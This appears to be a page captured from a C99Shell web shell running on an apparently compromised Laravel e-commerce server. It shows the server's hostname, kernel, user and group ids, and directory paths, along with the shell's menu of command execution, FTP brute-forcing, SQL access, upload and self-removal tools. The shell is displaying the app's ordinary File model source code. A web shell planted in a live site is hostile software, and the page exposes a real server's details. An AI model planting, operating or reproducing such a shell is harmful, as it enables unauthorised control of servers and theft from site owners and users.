!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Models/   drwxr-xr-x
Free 27 GB of 117.98 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     File.php (15.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Models\Model;
use 
App\Traits\ModelTrait;
use 
App\Traits\ModelTraits\hasFiles;
use 
App\Models\User;
use 
AuthImageResponse;

class 
File extends Model
{
    use 
ModelTraithasFiles;
    public 
$timestamps false;
    private 
$_tempDirectory "public/contents/temp/";
    protected 
$casts = [
        
'params' => 'array'
    
];
    
/**
     * Foreign key with User model
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function userAvatar()
    {
        return 
$this->belongsTo('App\Models\User''object_id');
    }

    
/**
     * Foreign key with User model
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function user()
    {
        return 
$this->belongsTo('App\Models\User''uploaded_by');
    }

    
/**
      * [store description]
      * @param  [array] $files      [description]
      * @param  [string] $uploadPath [description]
      * @param  [string] $objectType [description]
      * @param  [int] $objectId   [description]
      * @return [array]             [description]
    */
    
public function store($files null$uploadPath null$options = [], $uploadFrom 'web')
    {
        
$userId Auth::user()->id;
        
$ids = [];
        
$urls = [];
        
$params = [];
        if (empty(
$files) || empty($uploadPath) ) {
            return 
$ids;
        }
        
$options array_merge(['isOriginalNameRequired' => false'isUploaded' => false'size' => []], $options);
        
$filePath      $options['isUploaded'] ? $this->_tempDirectory "";
        
$preference Preference::getAll()->where('category''preference')->pluck('value''field')->toArray();
        foreach (
$files as $file) {
            if (
$preference['file_size'] * 1024 >= $file->getSize() / 1024) {
                
$attribute = [
                    
'size' => $file->getSize() / 1024,
                    
'type' => $file->getClientOriginalExtension()
                ];
                
$checkFileExtention checkFileValidation($file->getClientOriginalExtension());
                
$fileSize $file->getSize() / 1024;
                
$fileExtention $file->getClientOriginalExtension();
                
$continue false;
                switch (
$options['isUploaded']) {
                    case 
true:
                        
$filename $file;
                        
$originalFileName implode(array_slice(explode('_'$filename), 2));
                        if (
file_exists($filePath $filename)) {
                            
$continue rename($filePath $filename$uploadPath DIRECTORY_SEPARATOR $filename);
                        }
                        break;
                    default:
                        
$filename preg_replace('/[^A-Za-z0-9\_]/'''str_replace(" ""_"$file->getClientOriginalName()));
                        
$originalFileName $file->getClientOriginalName();
                        
$filename $this->checkDirectory() . DIRECTORY_SEPARATOR md5(uniqid()) . "." $file->getClientOriginalExtension();

                        if (!empty(
$options['size'])) {
                            try {
                                
$img Image::make($file->getRealPath());
                            } catch (
\Intervention\Image\Exception\NotReadableException $e) {
                                
// Exception message will be send later on.
                            
}
                            
$continue $img->resize($options['size'][0], $options['size'][1], function ($constraint) {
                                
$constraint->aspectRatio();
                            })->
save($uploadPath DIRECTORY_SEPARATOR $filename);
                        } else {
                            
$continue $file->move($uploadPath$filePath $filename);
                        }
                        break;
                }

                if (
$continue) {
                    
$list = [];
                    foreach (
$attribute as $key => $array_item) {
                        if (!
is_null($array_item)) {
                            
$list[$key] = $array_item;
                        }
                    }
                    if (
$checkFileExtention) {
                        
$data                     = new File();
                        
$data->params              $list;
                        
$data->original_file_name $options['isOriginalNameRequired'] ? $originalFileName NULL;
                        
$data->file_name          $filename;
                        
$data->file_size          $fileSize;
                        
$data->object_type        $fileExtention;
                        
$data->uploaded_by        = !empty($userId) ? $userId NULL;
                        if (
$data->save()) {
                            
$ids[] = $data->id;
                        }
                    }

                }
            }

        }
        return 
count($urls) > ? ['urls' => $urls'ids' => $ids] : $ids;
    }

    public function 
storeFromUrl($url null$uploadPath null$options = [])
    {
        
$ids null;
        if (empty(
$url) || empty($uploadPath)) {
            return 
$ids;
        }
        
$ids = [];
        
$info pathinfo($url);
        
$contents file_get_contents($url);
        
$originalFileName $info['basename'];
        
$imSize getimagesize($url);
        
$attribute = [
            
'size' => $imSize['bits'] ? $imSize['bits'] : null,
            
'type' => 'jpg'
        
];
        
$filename preg_replace('/[^A-Za-z0-9\_]/'''str_replace(" ""_"$originalFileName));
        
$filename md5(uniqid()) . "." "jpg";
        
$continue file_put_contents($uploadPath DIRECTORY_SEPARATOR $filename$contents);
        
$file $this->checkDirectory() .DIRECTORY_SEPARATOR$filename;
        if (
$continue) {
            
$list = [];
            foreach (
$attribute as $key => $array_item) {
                if (!
is_null($array_item)) {
                    
$list[$key] = $array_item;
                }
            }
            
$data                     = new File();
            
$data->params             $list;
            
$data->original_file_name $options['isOriginalNameRequired'] ? $originalFileName.".jpg" NULL;
            
$data->file_name          $file;
            
$data->uploaded_by        = !empty($options['uploaded_by']) ? $options['uploaded_by'] : NULL;
            if (
$data->save()) {
                
$ids[] = $data->id;
            }
        }
        return 
$ids;
    }

    
/**
     * [getFiles description]
     * @param  [string] $objectType [description]
     * @param  [int] $objectId   [description]
     * @param  [array] $options   [description]
     * @return [array]             [description]
     */
    
public function getFiles($objectType null$objectId null,    $options = [])
    {
        
$options array_merge(['ids' => [], 'isExcept' => false'limit' => null], $options);
        if (empty(
$objectType) && empty($objectId) && empty($options['ids'])) {
            return [];
        }
        
$query $this->whereNotNull('file_name')->select();
        if (!empty(
$objectType) && !empty($objectId)) {
            
$objectId = !is_array($objectId) ? [$objectId] : $objectId;
            
$query->where('object_type'$objectType)->whereIn('object_id'$objectId);
        }
        if (!empty(
$options['ids'])) {
            if (
$options['isExcept']) {
                
$query->whereNotIn('id'$options['ids']);
            } else {
                
$query->whereIn('id'$options['ids']);
            }
        }
        if (!empty(
$options['limit'])) {
            
$query->limit($options['limit']);
        }

        return 
$query->get();
    }

    public function 
allFiles()
    {
        return  
File::select(['id''file_name'])->orderBy('id''desc')->get();
    }

    public static function 
getAllFiles($options = [])
    {
        
$sortValue request()->sort_value ?? null;
        
$name request()->search ?? null;
        
$sortName request()->sort_name ?? null;
        
$result File::query()->sortByDefinedValue($sortValue);
        
$user User::whereHas('roleUser', function ($query) {
            
$query->where('role_id'1);
        })->
active()->where('id'auth()->user()->id)->first();

        if (
$name) {
            
$result $result->where('original_file_name'$name);
        }
        if (
$sortName) {
            
$result $result->where('original_file_name''like''%' $sortName '%');
        }
        if (
is_null($user)) {
            
$result $result->where('uploaded_by'auth()->user()->id);
        }

        if (
request()->imageType) {
            
$type explode(','request()->imageType);
            
$result $result->whereIn('object_type'$type);
        }

        return 
$result->whereNotNull('uploaded_by')->simplePaginate(preference('row_per_page'10));
    }

    
/**
     * [getFiles description]
     * @param  [string] $objectType [description]
     * @param  [int] $objectId   [description]
     * @param  [array] $options  [description]
     * @return [array]           [description]
     */
    
public function copyFiles($source$destination$fromObjectType null$fromObjectId null$toObjectType null$toObjectId null$options = [])
    {
        
$fileList = ["status" => 0"fileStatus" => __(':x does not exist.', ['x' => __('Attachment')]), "files" => []];
        if (empty(
$source) || empty($destination) || empty($fromObjectType) || empty($fromObjectId)) {
            return 
$fileList;
        }
        
$options array_merge(['ids' => [], 'isTemporary' => false'isOriginalNameRequired' => false], $options);
        
$files $this->getFiles($fromObjectType$fromObjectId$options);
        if (!empty(
$files)) {
            
$fileList['status'] = 1;
            
$fileList['fileStatus'] = __("Attachment found");
            foreach (
$files as $key => $file) {
                
$originalName implode('_'array_slice(explode("_"$file->file_name), 2));
                
$copiedName md5(time()) . '_' Auth::user()->id '_' $originalName;
                if (
$options['isTemporary']) {
                    if (
copy $source DIRECTORY_SEPARATOR $file->file_name $this->_tempDirectory DIRECTORY_SEPARATOR $copiedName)) {
                        
$fileList["files"][] = $copiedName;
                    }
                } else {
                    if (
file_exists($source DIRECTORY_SEPARATOR $file->file_name) && copy $source DIRECTORY_SEPARATOR $file->file_name $destination DIRECTORY_SEPARATOR $copiedName)) {
                        
$data                     = new File();
                        
$data->object_id            $toObjectId;
                        
$data->object_type           $toObjectType;
                        
$data->file_name           $copiedName;
                        
$data->original_file_name $options['isOriginalNameRequired'] ? $originalName null;
                        if (
$data->save()) {
                            
$fileList["files"][] = $copiedName;
                        }
                    }
                }
            }
        }
        return 
json_encode($fileList);
    }

    
/**
     * [deleteFiles description]
     * @param  [string] $objectType [description]
     * @param  [int] $objectId   [description]
     * @param  [int]  $id           [description]
     * @return [json]                [description]
     */
    
public function deleteFiles($objectType null$objectId null$options = [], $path null)
    {
        
$result['status'] = 0;
        
$result['fileStatus'] = __(':x does not exist.', ['x' => __('Attachment')]);
        
$files $this->getFiles($objectType$objectId$options);
        if (!empty(
$files)) {
            foreach (
$files as $key => $value) {
                if (
$this->where('id'$value->id)->delete()) {
                    
$result $this->unlinkFile($path DIRECTORY_SEPARATOR $value->file_name);
                    if (isset(
$options['thumbnail']) && isset($options['thumbnailPath']) && $options['thumbnail'] == true) {
                        
$this->unlinkFile($options['thumbnailPath'] . DIRECTORY_SEPARATOR $value->file_name);
                    }
                    
$result['status'] = 1;
                }
            }
        }
        return 
json_encode($result);
    }

    
/**
     * [unlinkFile description]
     * @param  [string] $file [description]
     * @return [array]       [description]
     */
    
public function unlinkFile($file)
    {
        
$result['status'] = 0;
        
$result['fileStatus'] = __(':x does not exist.', ['x' => __('Attachment')]);
        if (
file_exists($file)) {
            @
unlink($file);
            
$result['status'] = 1;
            
$result['fileStatus'] = __("Attachment deleted");
        }
        return 
$result;
    }

    
/**
     * Resize image thumbnail
     *
     * @param string $uploadedFilePath
     * @param string $uploadedFileName
     * @param string $thumbnailPath
     * @param string $oldFileName
     * @return void
     */
    
public function resizeImageThumbnail($uploadedFilePath$uploadedFileName$thumbnailPath$oldFileName null)
    {
        if (isset(
$oldFileName) && !empty($oldFileName)) {
            if (
file_exists($thumbnailPath DIRECTORY_SEPARATOR $oldFileName)) {
                
unlink(base_path() . DIRECTORY_SEPARATOR $thumbnailPath DIRECTORY_SEPARATOR $oldFileName);
            }
        }

        
$nameWithSlash strstr($uploadedFileNameDIRECTORY_SEPARATOR);
        
$replacedFilename str_replace(DIRECTORY_SEPARATOR''$nameWithSlash);

        
$sizes $this->sizeRatio();
        foreach (
$sizes as $name => $ratio) {
            try {
                
$img Image::make($uploadedFilePathDIRECTORY_SEPARATOR $replacedFilename);

                
$thumbnailPath createDirectory($this->thumbnailPath($name));
                foreach (
$ratio as $key => $value) {
                    
$img->resize($key$value, function ($constraint) {
                        
$constraint->aspectRatio();
                    })->
save($thumbnailPath DIRECTORY_SEPARATOR .  $replacedFilename);
                }
            } catch (
\Intervention\Image\Exception\NotReadableException $e) {
                
// Show some exception message
            
}
        }
    }

    
/**
     * Size ratio
     *
     * @return array
     */
    
public function sizeRatio()
    {
        return [
            
'small' => [150 => 150],
            
'medium' => [300 => 300]
        ];
    }

    
/**
     * Download Attachment
     *
     * @param int $id
     * @return array
     */
    
public function downloadAttachment($id)
    {
        
$id base64_decode($id);
        
$file File::where('id'$id)->first();
        if (
$file) {
            
$imageName str_replace('\\' ''$file->original_file_name);
            
$image public_path('uploads' DIRECTORY_SEPARATOR $file->file_name);
            if (
file_exists($image)) {
                switch (
strtolower(pathinfo($file->file_namePATHINFO_EXTENSION))) {
                    case 
'pdf':
                        
$mime 'application/pdf';
                        break;
                    case 
'zip':
                        
$mime 'application/zip';
                        break;
                    case 
'jpeg':
                    case 
'jpg':
                        
$mime 'image/jpg';
                        break;
                    default:
                        
$mime 'application/force-download';
                }

                
$headers = array(
                        
'Content-Type' => $mime
                    
);
                return 
Response::download($image$imageName$headers);
            } else {
                if (
file_exists(public_path('dist\img' .DIRECTORY_SEPARATOR'default_product.jpg'))) {
                    return 
Response::download(public_path('dist\img' .DIRECTORY_SEPARATOR 'default_product.jpg'), 'default_product.jpg', ['image/jpg']);
                }
                
$data = ['status' => 'fail''message' => __('The file you are looking for is not found.')];
                
Session::flash($data['status'], $data['message']);
                return 
redirect()->back();
            }

        } else {
            
$data = ['status' => 'fail''message' => __('This file does not exist.')];
            
Session::flash($data['status'], $data['message']);
            return 
redirect()->back();
        }
    }

    
/**
     * Sort by value
     *
     * @param string $value
     * @return query
     */
    
public function scopeSortByDefinedValue($query$value)
    {
        switch (
$value) {
            case 
"oldest":
                
$query->orderBy('id''asc');
                break;
            case 
"smallest":
                
$query->orderBy('file_size''asc');
                break;
            case 
"largest":
                
$query->orderBy('file_size''desc');
                break;
            default:
                
$query->orderBy('id''desc');
        }

        return 
$query;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--